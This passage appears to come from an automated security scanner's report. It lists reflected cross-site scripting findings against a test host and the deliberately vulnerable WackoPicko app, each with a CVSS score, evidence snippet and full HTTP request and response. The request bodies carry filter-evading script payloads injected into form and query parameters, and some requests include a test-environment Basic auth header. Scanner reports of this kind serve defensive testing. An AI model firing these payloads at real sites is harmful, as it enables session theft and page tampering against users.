This type of vulnerability is quite widespread on the Internet and happens when the application takes user input and prints (output s) it without properly encode or validate that input. The name *reflected* comes from the malicious code that is sent to the server a nd reflected back to the victim's browser, in the source code of the page.

EVIDENCE

The following line(s) includes input without being properly escaped:

```
">

              <fieldset>

                   <p><label for="email">Login</label></p>
                   <p><input type="text" id="email" name="email" value=""><scrIpt>alert(31321);</scRipt>" onBlur
="if(this.value=='')this.value='"><scrIpt>alert(31321);</scRipt>'" onFocus="if(this.value=='"><scrIpt>alert(3132
```

REQUEST

```
POST /dyn/goal/onCopy.php HTTP/1.1
accept-encoding: gzip, deflate
authorization: Basic cHJvYmVseTpzd2Vhcl9wbGFpbl9tYW51YWw=
cache-control: no-cache
connection: keep-alive
Content-Length: 68
host: test-0.ox.qa.prbly.win
pragma: no-cache
referer: http://test-0.ox.qa.prbly.win/dyn/goal/onCopy.php
accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/w
ebp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
content-type: application/x-www-form-urlencoded
cookie: PHPSESSID=u9uar0l7dsstcd8d28h1dsdh26;
cookie_4242=123e4567-e89b-12d3-a456-426655440000;
__cfduid=d9c144520e23b3a69a658c4dca6dc4d4f1528804515;
if_u_see_this_in_a_finding_there_is_a_bug=abcd; abcdef=abcdef;
wordpress_test_cookie=WP+Cookie+check
fe-server: 1
origin: http://test-0.ox.qa.prbly.win
upgrade-insecure-requests: 1
user-agent: Mozilla/5.0 (compatible; +https://probely.com/sos)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36
ProbelySPDR/0.2.0
email=%22%3E%3CscrIpt%3Ealert%2831321%29%3B%3C%2FscRipt%3E&password=
```

RESPONSE

```
HTTP/1.1 200 OK
Server: nginx/1.6.2
Date: Tue, 03 Jan 2023 05:37:00 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Encoding: gzip
<!doctype html>
<html lang="en-US">
<head>
         <meta charset="utf-8">
         <title>Login</title>
         <link rel="stylesheet"
href="http://fonts.googleapis.com/css?family=Varela+Round">
         <link rel="stylesheet" href="main.css">
</head>
<body>
           <br /><br /><h3><center><b>Wrong login!</b></center></h3>
         <div id="login">
                  <h2><span class="fontawesome-lock"></span>Sign In</h2>
                  <form action="" method="POST" autocomplete="off">
```

101 Reflected cross-site scripting

HIGH

CVSS SCORE
5.4

CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

METHOD	PATH	PARAMETER
POST	http://test-0.ox.qa.prbly.win/dyn/goal/onDoubleClick.php	email

DESCRIPTION

A reflected cross-site scripting (XSS) vulnerability allows the attacker to temporarily inject malicious scripts in the application page. The typical attack is to send a link to the victim with some JavaScript in it, which will be executed in the victim's browser, inside t he vulnerable page. This malicious JavaScript can, for instance, read the session cookie and send it to the attacker, change the logi n form and point it to a page controlled by the attacker (and thus stealing the credentials) or even add a non-existent form asking for sensitive data.

Depending on the type of XSS and the nature of the vulnerable application, the impact of this vulnerability can range from tempor arily modifying the contents of the website (during the victim's visit) to total control of the victim's session or even of the browser. Given its prevalence and ease of exploitation, it's often considered a serious risk for any application that contains an area that req uires authentication.

This type of vulnerability is quite widespread on the Internet and happens when the application takes user input and prints (output s) it without properly encode or validate that input. The name *reflected* comes from the malicious code that is sent to the server a nd reflected back to the victim's browser, in the source code of the page.

EVIDENCE

The following line(s) includes input without being properly escaped:

```
">

              <fieldset>

                   <p><label for="email">Login</label></p>
                   <p><input type="text" id="email" name="email" value=""><scrIpt>alert(74376);</scRipt>" onBlur
="if(this.value=='')this.value='"><scrIpt>alert(74376);</scRipt>'" onFocus="if(this.value=='"><scrIpt>alert(7437
```

REQUEST

```
POST /dyn/goal/onDoubleClick.php HTTP/1.1
accept-encoding: gzip, deflate
authorization: Basic cHJvYmVseTpzd2Vhcl9wbGFpbl9tYW51YWw=
cache-control: no-cache
connection: keep-alive
Content-Length: 78
host: test-0.ox.qa.prbly.win
pragma: no-cache
referer: http://test-0.ox.qa.prbly.win/dyn/goal/onDoubleClick.php
accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/w
ebp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
content-type: application/x-www-form-urlencoded
cookie: PHPSESSID=u9uar0l7dsstcd8d28h1dsdh26;
cookie_4242=123e4567-e89b-12d3-a456-426655440000;
__cfduid=d9c144520e23b3a69a658c4dca6dc4d4f1528804515;
if_u_see_this_in_a_finding_there_is_a_bug=abcd; abcdef=abcdef;
wordpress_test_cookie=WP+Cookie+check
fe-server: 1
origin: http://test-0.ox.qa.prbly.win
upgrade-insecure-requests: 1
user-agent: Mozilla/5.0 (compatible; +https://probely.com/sos)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36
ProbelySPDR/0.2.0
email=%22%3E%3CscrIpt%3Ealert%2874376%29%3B%3C%2FscRipt%3E&password=**********
```

RESPONSE

```
HTTP/1.1 200 OK
Server: nginx/1.6.2
Date: Tue, 03 Jan 2023 05:37:00 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Encoding: gzip
<!doctype html>
<html lang="en-US">
<head>
         <meta charset="utf-8">
         <title>Login</title>
         <link rel="stylesheet"
href="http://fonts.googleapis.com/css?family=Varela+Round">
         <link rel="stylesheet" href="main.css">
</head>
<body>
           <br /><br /><h3><center><b>Wrong login!</b></center></h3>
         <div id="login">
                  <h2><span class="fontawesome-lock"></span>Sign In</h2>
                  <form action="" method="POST" autocomplete="off">
```

12

Reflected cross-site scripting

HIGH

CVSS SCORE
6.1
CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

METHOD	PATH	PARAMETER
POST	http://test-0.ox.qa.prbly.win/dyn/goal/onClick.php	email

DESCRIPTION

A reflected cross-site scripting (XSS) vulnerability allows the attacker to temporarily inject malicious scripts in the application page. The typical attack is to send a link to the victim with some JavaScript in it, which will be executed in the victim's browser, inside t he vulnerable page. This malicious JavaScript can, for instance, read the session cookie and send it to the attacker, change the logi n form and point it to a page controlled by the attacker (and thus stealing the credentials) or even add a non-existent form asking for sensitive data.

Depending on the type of XSS and the nature of the vulnerable application, the impact of this vulnerability can range from tempor arily modifying the contents of the website (during the victim's visit) to total control of the victim's session or even of the browser. Given its prevalence and ease of exploitation, it's often considered a serious risk for any application that contains an area that req uires authentication.

This type of vulnerability is quite widespread on the Internet and happens when the application takes user input and prints (output s) it without properly encode or validate that input. The name *reflected* comes from the malicious code that is sent to the server a nd reflected back to the victim's browser, in the source code of the page.

EVIDENCE

The following line(s) includes input without being properly escaped:

```
">

              <fieldset>

                   <p><label for="email">Login</label></p>
                   <p><input type="text" id="email" name="email" value=""><scrIpt>alert(94437);</scRipt>" onBlur
="if(this.value=='')this.value='"><scrIpt>alert(94437);</scRipt>'" onFocus="if(this.value=='"><scrIpt>alert(9443
```

REQUEST

```
POST /dyn/goal/onClick.php HTTP/1.1
accept-encoding: gzip, deflate
authorization: Basic cHJvYmVseTpzd2Vhcl9wbGFpbl9tYW51YWw=
cache-control: no-cache
connection: keep-alive
Content-Length: 68
host: test-0.ox.qa.prbly.win
pragma: no-cache
referer: http://test-0.ox.qa.prbly.win/dyn/goal/onClick.php
accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/w
ebp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
content-type: application/x-www-form-urlencoded
cookie: PHPSESSID=u9uar0l7dsstcd8d28h1dsdh26;
cookie_4242=123e4567-e89b-12d3-a456-426655440000;
__cfduid=d9c144520e23b3a69a658c4dca6dc4d4f1528804515;
if_u_see_this_in_a_finding_there_is_a_bug=abcd; abcdef=abcdef;
wordpress_test_cookie=WP+Cookie+check
fe-server: 1
origin: http://test-0.ox.qa.prbly.win
upgrade-insecure-requests: 1
user-agent: Mozilla/5.0 (compatible; +https://probely.com/sos)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36
ProbelySPDR/0.2.0
email=%22%3E%3CscrIpt%3Ealert%2894437%29%3B%3C%2FscRipt%3E&password=
```

RESPONSE

```
HTTP/1.1 200 OK
Server: nginx/1.6.2
Date: Tue, 03 Jan 2023 05:36:24 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Encoding: gzip
<!doctype html>
<html lang="en-US">
<head>
         <meta charset="utf-8">
         <title>Login</title>
         <link rel="stylesheet"
href="http://fonts.googleapis.com/css?family=Varela+Round">
         <link rel="stylesheet" href="main.css">
</head>
<body>
            <br /><br /><h3><center><b>Wrong login!</b></center></h3>
         <div id="login">
                   <h2><span class="fontawesome-lock"></span>Sign In</h2>
                   <form action="" method="POST" autocomplete="off">
```

93

Reflected cross-site scripting

HIGH

CVSS SCORE
5.4

CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

METHOD	PATH	PARAMETER
POST	http://test-0.ox.qa.prbly.win/dyn/goal/onPaste.php	email

DESCRIPTION

A reflected cross-site scripting (XSS) vulnerability allows the attacker to temporarily inject malicious scripts in the application page. The typical attack is to send a link to the victim with some JavaScript in it, which will be executed in the victim's browser, inside t he vulnerable page. This malicious JavaScript can, for instance, read the session cookie and send it to the attacker, change the logi n form and point it to a page controlled by the attacker (and thus stealing the credentials) or even add a non-existent form asking for sensitive data.

Depending on the type of XSS and the nature of the vulnerable application, the impact of this vulnerability can range from tempor arily modifying the contents of the website (during the victim's visit) to total control of the victim's session or even of the browser. Given its prevalence and ease of exploitation, it's often considered a serious risk for any application that contains an area that req uires authentication.

This type of vulnerability is quite widespread on the Internet and happens when the application takes user input and prints (output s) it without properly encode or validate that input. The name *reflected* comes from the malicious code that is sent to the server a nd reflected back to the victim's browser, in the source code of the page.

EVIDENCE

The following line(s) includes input without being properly escaped:

```
">

              <fieldset>

                   <p><label for="email">Login</label></p>
                   <p><input type="text" id="email" name="email" value=""><scrIpt>alert(69251);</scRipt>" onBlur
="if(this.value=='')this.value='"><scrIpt>alert(69251);</scRipt>'" onFocus="if(this.value=='"><scrIpt>alert(6925
```

REQUEST

```
POST /dyn/goal/onPaste.php HTTP/1.1
accept-encoding: gzip, deflate
authorization: Basic cHJvYmVseTpzd2Vhcl9wbGFpbl9tYW51YWw=
cache-control: no-cache
connection: keep-alive
Content-Length: 68
host: test-0.ox.qa.prbly.win
pragma: no-cache
referer: http://test-0.ox.qa.prbly.win/dyn/goal/onPaste.php
accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/w
ebp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
content-type: application/x-www-form-urlencoded
cookie: PHPSESSID=u9uar0l7dsstcd8d28h1dsdh26;
cookie_4242=123e4567-e89b-12d3-a456-426655440000;
__cfduid=d9c144520e23b3a69a658c4dca6dc4d4f1528804515;
if_u_see_this_in_a_finding_there_is_a_bug=abcd; abcdef=abcdef;
wordpress_test_cookie=WP+Cookie+check
fe-server: 1
origin: http://test-0.ox.qa.prbly.win
upgrade-insecure-requests: 1
user-agent: Mozilla/5.0 (compatible; +https://probely.com/sos)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36
ProbelySPDR/0.2.0
email=%22%3E%3CscrIpt%3Ealert%2869251%29%3B%3C%2FscRipt%3E&password=
```

RESPONSE

```
HTTP/1.1 200 OK
Server: nginx/1.6.2
Date: Tue, 03 Jan 2023 05:36:24 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Encoding: gzip
<!doctype html>
<html lang="en-US">
<head>
         <meta charset="utf-8">
         <title>Login</title>
         <link rel="stylesheet"
href="http://fonts.googleapis.com/css?family=Varela+Round">
         <link rel="stylesheet" href="main.css">
</head>
<body>
            <br /><br /><h3><center><b>Wrong login!</b></center></h3>
         <div id="login">
                   <h2><span class="fontawesome-lock"></span>Sign In</h2>
                   <form action="" method="POST" autocomplete="off">
```

# 137 Reflected cross-site scripting

HIGH

CVSS SCORE
5.4

CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

METHOD	PATH	REQUEST_BODY
POST	http://test-0.ox.qa.prbly.win/dyn/goal/onMouseOver.php	email

DESCRIPTION

A reflected cross-site scripting (XSS) vulnerability allows the attacker to temporarily inject malicious scripts in the application page. The typical attack is to send a link to the victim with some JavaScript in it, which will be executed in the victim's browser, inside t he vulnerable page. This malicious JavaScript can, for instance, read the session cookie and send it to the attacker, change the logi n form and point it to a page controlled by the attacker (and thus stealing the credentials) or even add a non-existent form asking for sensitive data.

Depending on the type of XSS and the nature of the vulnerable application, the impact of this vulnerability can range from tempor arily modifying the contents of the website (during the victim's visit) to total control of the victim's session or even of the browser. Given its prevalence and ease of exploitation, it's often considered a serious risk for any application that contains an area that req uires authentication.

This type of vulnerability is quite widespread on the Internet and happens when the application takes user input and prints (output s) it without properly encode or validate that input. The name *reflected* comes from the malicious code that is sent to the server a nd reflected back to the victim's browser, in the source code of the page.

EVIDENCE

The following line(s) includes input without being properly escaped:

```
">

              <fieldset>

                   <p><label for="email">Login</label></p>
                   <p><input type="text" id="email" name="email" value=""><scrIpt>alert(8507);</scRipt>" onBlur
="if(this.value=='')this.value='"><scrIpt>alert(8507);</scRipt>'" onFocus="if(this.value=='"><scrIpt>alert(8507)
```

REQUEST

```
POST /dyn/goal/onMouseOver.php HTTP/1.1
accept-encoding: gzip, deflate
authorization: Basic cHJvYmVseTpzd2Vhcl9wbGFpbl9tYW51YWw=
cache-control: no-cache
connection: keep-alive
Content-Length: 67
host: test-0.ox.qa.prbly.win
pragma: no-cache
referer: http://test-0.ox.qa.prbly.win/dyn/goal/onMouseOver.php
accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/w
ebp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
content-type: application/x-www-form-urlencoded
cookie: PHPSESSID=u9uar0l7dsstcd8d28h1dsdh26;
cookie_4242=123e4567-e89b-12d3-a456-426655440000;
__cfduid=d9c144520e23b3a69a658c4dca6dc4d4f1528804515;
if_u_see_this_in_a_finding_there_is_a_bug=abcd; abcdef=abcdef;
wordpress_test_cookie=WP+Cookie+check
fe-server: 1
origin: http://test-0.ox.qa.prbly.win
upgrade-insecure-requests: 1
user-agent: Mozilla/5.0 (compatible; +https://probely.com/sos)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36
ProbelySPDR/0.2.0
email=%22%3E%3CscrIpt%3Ealert%288507%29%3B%3C%2FscRipt%3E&password=
```

RESPONSE

```
HTTP/1.1 200 OK
Server: nginx/1.6.2
Date: Tue, 03 Jan 2023 05:36:24 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Encoding: gzip
<!doctype html>
<html lang="en-US">
<head>
         <meta charset="utf-8">
         <title>Login</title>
         <link rel="stylesheet"
href="http://fonts.googleapis.com/css?family=Varela+Round">
         <link rel="stylesheet" href="main.css">
</head>
<body>
            <br /><br /><h3><center><b>Wrong login!</b></center></h3>
         <div id="login">
                   <h2><span class="fontawesome-lock"></span>Sign In</h2>
                   <form action="" method="POST" autocomplete="off">
```

# 16 Reflected cross-site scripting

HIGH

CVSS SCORE

6.1

CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

METHOD	PATH	PARAMETER
POST	https://test-0.ox.qa.prbly.win/WackoPicko/phpinjection.php	name

DESCRIPTION

A reflected cross-site scripting (XSS) vulnerability allows the attacker to temporarily inject malicious scripts in the application page. The typical attack is to send a link to the victim with some JavaScript in it, which will be executed in the victim's browser, inside t he vulnerable page. This malicious JavaScript can, for instance, read the session cookie and send it to the attacker, change the logi n form and point it to a page controlled by the attacker (and thus stealing the credentials) or even add a non-existent form asking for sensitive data.

Depending on the type of XSS and the nature of the vulnerable application, the impact of this vulnerability can range from tempor arily modifying the contents of the website (during the victim's visit) to total control of the victim's session or even of the browser. Given its prevalence and ease of exploitation, it's often considered a serious risk for any application that contains an area that req uires authentication.

This type of vulnerability is quite widespread on the Internet and happens when the application takes user input and prints (output s) it without properly encode or validate that input. The name *reflected* comes from the malicious code that is sent to the server a nd reflected back to the victim's browser, in the source code of the page.

EVIDENCE

The following line(s) includes input without being properly escaped:

```
Welcome <scrIpt>alert(13849);</scRipt><br>Your email address is: scanner@probe.ly
<html>
<body>

<form action="phpinjection.php" method="post">
Name: <input t
```

REQUEST

```
POST /WackoPicko/phpinjection.php HTTP/1.1
accept-encoding: gzip, deflate
authorization: Basic cHJvYmVseTpzd2Vhcl9wbGFpbl9tYW51YWw=
cache-control: no-cache
connection: keep-alive
Content-Length: 154
host: test-0.ox.qa.prbly.win
pragma: no-cache
referer: https://test-0.ox.qa.prbly.win/WackoPicko/phpinjection.php
sec-fetch-dest: document
sec-fetch-mode: navigate
sec-fetch-site: none
sec-fetch-user: ?1
accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/w
ebp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
content-type: application/x-www-form-urlencoded
cookie: PHPSESSID=u9uar0l7dsstcd8d28h1dsdh26;
cookie_4242=123e4567-e89b-12d3-a456-426655440000;
__cfduid=d9c144520e23b3a69a658c4dca6dc4d4f1528804515;
if_u_see_this_in_a_finding_there_is_a_bug=abcd; abcdef=abcdef;
wordpress_test_cookie=WP+Cookie+check
fe-server: 1
origin: https://test-0.ox.qa.prbly.win
upgrade-insecure-requests: 1
user-agent: Mozilla/5.0 (compatible; +https://probely.com/sos)
```

```
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36
ProbelySPDR/0.2.0
name=%3CscrIpt%3Ealert%2813849%29%3B%3C%2FscRipt%3E&email=scanner%40probe.ly&x=a
%3A1%3A%7Bs%3A4%3A%22Test%22%3Bs%3A17%3A%22Unserializationhere%21%22%3B%7D
```

RESPONSE

```
HTTP/1.1 200 OK
Server: nginx/1.6.2
Date: Tue, 03 Jan 2023 05:20:38 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
Set-Cookie: aa=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0
Content-Encoding: gzip
Welcome <scrIpt>alert(13849);</scRipt><br>Your email address is:
scanner@probe.ly
<html>
<body>
<form action="phpinjection.php" method="post">
Name: <input type="text" name="name"><br>
E-mail: <input type="text" name="email"><br>
<input type="text" name="x"
value='a:1:{s:4:"Test";s:17:"Unserializationhere!";}'<br>
<input type="submit">
</form>
</body>
</html>
```

# 107 Reflected cross-site scripting

HIGH

CVSS SCORE
5.4

CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

METHOD	PATH	PARAMETER
POST	https://test-0.ox.qa.prbly.win/WackoPicko/phpinjection.php	email

DESCRIPTION

A reflected cross-site scripting (XSS) vulnerability allows the attacker to temporarily inject malicious scripts in the application page. The typical attack is to send a link to the victim with some JavaScript in it, which will be executed in the victim's browser, inside t he vulnerable page. This malicious JavaScript can, for instance, read the session cookie and send it to the attacker, change the logi n form and point it to a page controlled by the attacker (and thus stealing the credentials) or even add a non-existent form asking for sensitive data.

Depending on the type of XSS and the nature of the vulnerable application, the impact of this vulnerability can range from tempor arily modifying the contents of the website (during the victim's visit) to total control of the victim's session or even of the browser. Given its prevalence and ease of exploitation, it's often considered a serious risk for any application that contains an area that req uires authentication.

This type of vulnerability is quite widespread on the Internet and happens when the application takes user input and prints (output s) it without properly encode or validate that input. The name *reflected* comes from the malicious code that is sent to the server a nd reflected back to the victim's browser, in the source code of the page.

EVIDENCE

The following line(s) includes input without being properly escaped:

```
Welcome Pedro Miguel<br>Your email address is: <scrIpt>alert(95961);</scRipt>
<html>
<body>

<form action="phpinjection.php" method="post">
Name: <input type="text" name="name"><br>
E-mail: <input
```

REQUEST

```
POST /WackoPicko/phpinjection.php HTTP/1.1
accept-encoding: gzip, deflate
authorization: Basic cHJvYmVseTpzd2Vhcl9wbGFpbl9tYW51YWw=
cache-control: no-cache
connection: keep-alive
Content-Length: 148
host: test-0.ox.qa.prbly.win
pragma: no-cache
referer: https://test-0.ox.qa.prbly.win/WackoPicko/phpinjection.php
sec-fetch-dest: document
sec-fetch-mode: navigate
sec-fetch-site: none
sec-fetch-user: ?1
accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/w
ebp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
content-type: application/x-www-form-urlencoded
cookie: PHPSESSID=u9uar0l7dsstcd8d28h1dsdh26;
cookie_4242=123e4567-e89b-12d3-a456-426655440000;
__cfduid=d9c144520e23b3a69a658c4dca6dc4d4f1528804515;
if_u_see_this_in_a_finding_there_is_a_bug=abcd; abcdef=abcdef;
wordpress_test_cookie=WP+Cookie+check
fe-server: 1
origin: https://test-0.ox.qa.prbly.win
upgrade-insecure-requests: 1
```

```
user-agent: Mozilla/5.0 (compatible; +https://probely.com/sos)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36
ProbelySPDR/0.2.0
name=Pedro+Miguel&email=%3CscrIpt%3Ealert%2895961%29%3B%3C%2FscRipt%3E&x=a%3A1%3
A%7Bs%3A4%3A%22Test%22%3Bs%3A17%3A%22Unserializationhere%21%22%3B%7D
```

RESPONSE

```
HTTP/1.1 200 OK
Server: nginx/1.6.2
Date: Tue, 03 Jan 2023 05:20:38 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
Set-Cookie: aa=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0
Content-Encoding: gzip
Welcome Pedro Miguel<br>Your email address is: <scrIpt>alert(95961);</scRipt>
<html>
<body>
<form action="phpinjection.php" method="post">
Name: <input type="text" name="name"><br>
E-mail: <input type="text" name="email"><br>
<input type="text" name="x"
value='a:1:{s:4:"Test";s:17:"Unserializationhere!";}'<br>
<input type="submit">
</form>
</body>
</html>
```

# 113 Reflected cross-site scripting

HIGH

CVSS SCORE
5.4 CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

METHOD	PATH	ARBITRARY URL PARAMETER NAME
GET	http://test-0.ox.qa.prbly.win/WackoPicko/	query

DESCRIPTION

A reflected cross-site scripting (XSS) vulnerability allows the attacker to temporarily inject malicious scripts in the application page. The typical attack is to send a link to the victim with some JavaScript in it, which will be executed in the victim's browser, inside the vulnerable page. This malicious JavaScript can, for instance, read the session cookie and send it to the attacker, change the login form and point it to a page controlled by the attacker (and thus stealing the credentials) or even add a non-existent form asking for sensitive data.

Depending on the type of XSS and the nature of the vulnerable application, the impact of this vulnerability can range from temporarily modifying the contents of the website (during the victim's visit) to total control of the victim's session or even of the browser. Given its prevalence and ease of exploitation, it's often considered a serious risk for any application that contains an area that requires authentication.

This type of vulnerability is quite widespread on the Internet and happens when the application takes user input and prints (outputs) it without properly encode or validate that input. The name *reflected* comes from the malicious code that is sent to the server and reflected back to the victim's browser, in the source code of the page.

EVIDENCE

The following line(s) includes input without being properly escaped:

```
r /> <br /><input type="submit" value="Send File" /><br /> </form>');
  </script>
  </p>
</div>

Array
(
    [query] => </div><scrIpt>alert(96215);</scRipt><div>
)
array(1) {
  ["query"]=>
  string(41) "</div><scrIpt>alert(96215);</scRipt><div>"
}

<br />
<b>Notice</b>:  Undefined
```

REQUEST

```
GET /WackoPicko?query=%3C%2Fdiv%3E%3CscrIpt%3Ealert%2896215%29%3B%3C%2FscRipt%3E
%3Cdiv%3E HTTP/1.1
accept-encoding: gzip, deflate
authorization: Basic cHJvYmVseTpzd2Vhcl9wbGFpbl9tYW51YWw=
cache-control: no-cache
connection: keep-alive
host: test-0.ox.qa.prbly.win
pragma: no-cache
referer: http://test-0.ox.qa.prbly.win/
accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/w
ebp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
cookie: PHPSESSID=u9uar0l7dsstcd8d28h1dsdh26;
cookie_4242=123e4567-e89b-12d3-a456-426655440000;
__cfduid=d9c144520e23b3a69a658c4dca6dc4d4f1528804515;
if_u_see_this_in_a_finding_there_is_a_bug=abcd; abcdef=abcdef;
wordpress_test_cookie=WP+Cookie+check
```

```
fe-server: 1
origin: http://test-0.ox.qa.prbly.win
upgrade-insecure-requests: 1
user-agent: Mozilla/5.0 (compatible; +https://probely.com/sos)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36
ProbelySPDR/0.2.0
Content-Length: 0
```

RESPONSE

```
HTTP/1.1 200 OK
Server: nginx/1.6.2
Date: Tue, 03 Jan 2023 05:17:10 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: cookie_4242=123e4567-e89b-12d3-a456-426655440000; expires=Tue,
03-Jan-2023 07:17:10 GMT; Max-Age=7200; path=/; domain=test-0.ox.qa.prbly.win
Set-Cookie: __cfduid=d9c144520e23b3a69a658c4dca6dc4d4f1528804515; expires=Tue,
03-Jan-2023 07:17:10 GMT; Max-Age=7200; path=/; domain=test-0.ox.qa.prbly.win
Set-Cookie: if_u_see_this_in_a_finding_there_is_a_bug=abcd; expires=Tue,
03-Jan-2023 07:17:10 GMT; Max-Age=7200; path=/; domain=test-0.ox.qa.prbly.win
Set-Cookie: abcdef=abcdef; expires=Tue, 03-Jan-2023 07:17:10 GMT; Max-Age=7200;
path=/; domain=test-0.ox.qa.prbly.win
Content-Security-Policy: default-src 'self' https: data: wss: 'unsafe-inline';
script-src 'self' https: data: 'unsafe-inline' 'unsafe-eval'; report-uri
https://probely.report-uri.com/r/d/csp/enforce
Access-Control-Allow-Origin: http://test-0.ox.qa.prbly.win
Access-Control-Allow-Credentials: true
Content-Encoding: gzip
<html>
  <head>
     <link rel="stylesheet" href="/WackoPicko/css/blueprint/screen.css"
type="text/css" media="screen, projection">
     <link rel="stylesheet" href="/WackoPicko/css/blueprint/print.css"
type="text/css" media="print">
     <!--[if IE]><link rel="stylesheet" href="/WackoPicko/css/blueprint/ie.css"
type="text/css" media="screen, projection"><![endif]-->
     <link rel="stylesheet" href="/WackoPicko/css/stylings.php" type="text/css"
media="screen">
     <title>WackoPicko.com</title>
  </head>
  <body>
     <div class="container " style="border: 2px solid #5c95cf;">
        <div class="column span-24 first last">
          <h1 id="title"><a href="/WackoPicko/">WackoPicko.com</a></h1>
        </div>
```

# 18 Reflected cross-site scripting

HIGH

CVSS SCORE
6.1 CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

METHOD	PATH	PARAMETER
POST	http://test-0.ox.qa.prbly.win/WackoPicko/guestbook.php	comment

DESCRIPTION

A reflected cross-site scripting (XSS) vulnerability allows the attacker to temporarily inject malicious scripts in the application page. The typical attack is to send a link to the victim with some JavaScript in it, which will be executed in the victim's browser, inside the vulnerable page. This malicious JavaScript can, for instance, read the session cookie and send it to the attacker, change the login form and point it to a page controlled by the attacker (and thus stealing the credentials) or even add a non-existent form asking for sensitive data.

Depending on the type of XSS and the nature of the vulnerable application, the impact of this vulnerability can range from temporarily modifying the contents of the website (during the victim's visit) to total control of the victim's session or even of the browser. Given its prevalence and ease of exploitation, it's often considered a serious risk for any application that contains an area that requires authentication.

This type of vulnerability is quite widespread on the Internet and happens when the application takes user input and prints (outputs) it without properly encode or validate that input. The name *reflected* comes from the malicious code that is sent to the server and reflected back to the victim's browser, in the source code of the page.

EVIDENCE

The following line(s) includes input without being properly escaped:

```
you for reading.</p>
     <p> - by &lt;/p&gt;&lt;scrIpt&gt;alert(52557);&lt;/scRipt&gt;&lt;p&gt; </p>
          <p class="comment"></p><scrIpt>alert(10624);</scRipt><p></p>
     <p> - by Pedro Miguel </p>
          <p class="comment">This is a beautiful test comment. Also it's very polite. Thank you
```

REQUEST

```
POST /WackoPicko/guestbook.php HTTP/1.1
accept-encoding: gzip, deflate
authorization: Basic cHJvYmVseTpzd2Vhcl9wbGFpbl9tYW51YWw=
cache-control: no-cache
connection: keep-alive
Content-Length: 89
host: test-0.ox.qa.prbly.win
pragma: no-cache
referer: http://test-0.ox.qa.prbly.win/WackoPicko/guestbook.php
accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/w
ebp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
content-type: application/x-www-form-urlencoded
cookie: PHPSESSID=u9uar0l7dsstcd8d28h1dsdh26;
cookie_4242=123e4567-e89b-12d3-a456-426655440000;
__cfduid=d9c144520e23b3a69a658c4dca6dc4d4f1528804515;
if_u_see_this_in_a_finding_there_is_a_bug=abcd; abcdef=abcdef;
wordpress_test_cookie=WP+Cookie+check
fe-server: 1
origin: http://test-0.ox.qa.prbly.win
upgrade-insecure-requests: 1
user-agent: Mozilla/5.0 (compatible; +https://probely.com/sos)
